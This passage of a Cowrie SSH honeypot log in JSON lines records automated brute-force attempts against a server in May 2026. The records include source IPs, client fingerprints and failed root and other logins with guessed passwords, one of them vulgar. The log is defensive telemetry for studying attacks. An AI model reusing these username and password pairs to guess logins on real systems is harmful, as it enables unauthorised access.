oup-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:30.459566Z","src_ip":"139.19.117.129","session":"0ce41fcc307e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:d0:ed:e8:f3:3d:4a:27:ff:f2:19:56:fb:a0:e3:79","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPw+9dXjTkEQQNWp6Vd1TRIsWv79UsoquoQ6XVsmIyo9","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0e:d0:ed:e8:f3:3d:4a:27:ff:f2:19:56:fb:a0:e3:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:30.644333Z","src_ip":"139.19.117.129","session":"0ce41fcc307e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:d0:ed:e8:f3:3d:4a:27:ff:f2:19:56:fb:a0:e3:79","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPw+9dXjTkEQQNWp6Vd1TRIsWv79UsoquoQ6XVsmIyo9","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:30.648605Z","src_ip":"139.19.117.129","session":"0ce41fcc307e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":44768,"dst_ip":"159.203.135.109","dst_port":22,"session":"9565b6cd1366","protocol":"ssh","message":"New connection: 171.244.37.97:44768 (159.203.135.109:22) [session: 9565b6cd1366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:35.075790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:35.080818Z","src_ip":"171.244.37.97","session":"9565b6cd1366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":46668,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f67f7beadc5","protocol":"ssh","message":"New connection: 43.135.168.126:46668 (159.203.135.109:22) [session: 9f67f7beadc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:35.089602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:35.094265Z","src_ip":"43.135.168.126","session":"9f67f7beadc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:35.163537Z","src_ip":"43.135.168.126","session":"9f67f7beadc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:35.332159Z","src_ip":"171.244.37.97","session":"9565b6cd1366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"indigo","message":"login attempt [root/indigo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:35.473339Z","src_ip":"43.135.168.126","session":"9f67f7beadc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"suckmydick","message":"login attempt [root/suckmydick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:36.349593Z","src_ip":"171.244.37.97","session":"9565b6cd1366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:36.545079Z","src_ip":"43.135.168.126","session":"9f67f7beadc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:37.599442Z","src_ip":"171.244.37.97","session":"9565b6cd1366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:49:40.368957Z","src_ip":"139.19.117.129","session":"0ce41fcc307e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":33052,"dst_ip":"159.203.135.109","dst_port":22,"session":"77a6a6f1154a","protocol":"ssh","message":"New connection: 43.135.164.198:33052 (159.203.135.109:22) [session: 77a6a6f1154a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:00.603625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:00.621888Z","src_ip":"43.135.164.198","session":"77a6a6f1154a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:00.694115Z","src_ip":"43.135.164.198","session":"77a6a6f1154a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ph03n1x","message":"login attempt [root/ph03n1x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:01.007181Z","src_ip":"43.135.164.198","session":"77a6a6f1154a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:02.080496Z","src_ip":"43.135.164.198","session":"77a6a6f1154a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":39456,"dst_ip":"159.203.135.109","dst_port":22,"session":"eea341ade7f7","protocol":"ssh","message":"New connection: 43.163.81.22:39456 (159.203.135.109:22) [session: eea341ade7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:33.893733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:33.898602Z","src_ip":"43.163.81.22","session":"eea341ade7f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:34.128049Z","src_ip":"43.163.81.22","session":"eea341ade7f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"games","message":"login attempt [root/games] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:35.077612Z","src_ip":"43.163.81.22","session":"eea341ade7f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:36.310742Z","src_ip":"43.163.81.22","session":"eea341ade7f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":35024,"dst_ip":"159.203.135.109","dst_port":22,"session":"baf2d46461de","protocol":"ssh","message":"New connection: 194.113.233.25:35024 (159.203.135.109:22) [session: baf2d46461de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:38.537445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:38.542583Z","src_ip":"194.113.233.25","session":"baf2d46461de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:38.635623Z","src_ip":"194.113.233.25","session":"baf2d46461de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia3250","message":"login attempt [root/nokia3250] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:38.904526Z","src_ip":"194.113.233.25","session":"baf2d46461de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:39.996857Z","src_ip":"194.113.233.25","session":"baf2d46461de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":40810,"dst_ip":"159.203.135.109","dst_port":22,"session":"b177d8c68f14","protocol":"ssh","message":"New connection: 43.135.168.126:40810 (159.203.135.109:22) [session: b177d8c68f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:43.653964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:43.659262Z","src_ip":"43.135.168.126","session":"b177d8c68f14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:43.728657Z","src_ip":"43.135.168.126","session":"b177d8c68f14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:44.038962Z","src_ip":"43.135.168.126","session":"b177d8c68f14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:45.111929Z","src_ip":"43.135.168.126","session":"b177d8c68f14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":42574,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d986e91e69b","protocol":"ssh","message":"New connection: 171.244.37.97:42574 (159.203.135.109:22) [session: 6d986e91e69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:57.611901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:57.617013Z","src_ip":"171.244.37.97","session":"6d986e91e69b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":60934,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b4b421f3c92","protocol":"ssh","message":"New connection: 103.77.242.62:60934 (159.203.135.109:22) [session: 2b4b421f3c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:57.750427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:57.754654Z","src_ip":"103.77.242.62","session":"2b4b421f3c92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:57.866012Z","src_ip":"171.244.37.97","session":"6d986e91e69b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:57.987367Z","src_ip":"103.77.242.62","session":"2b4b421f3c92","protocol":"ssh"}
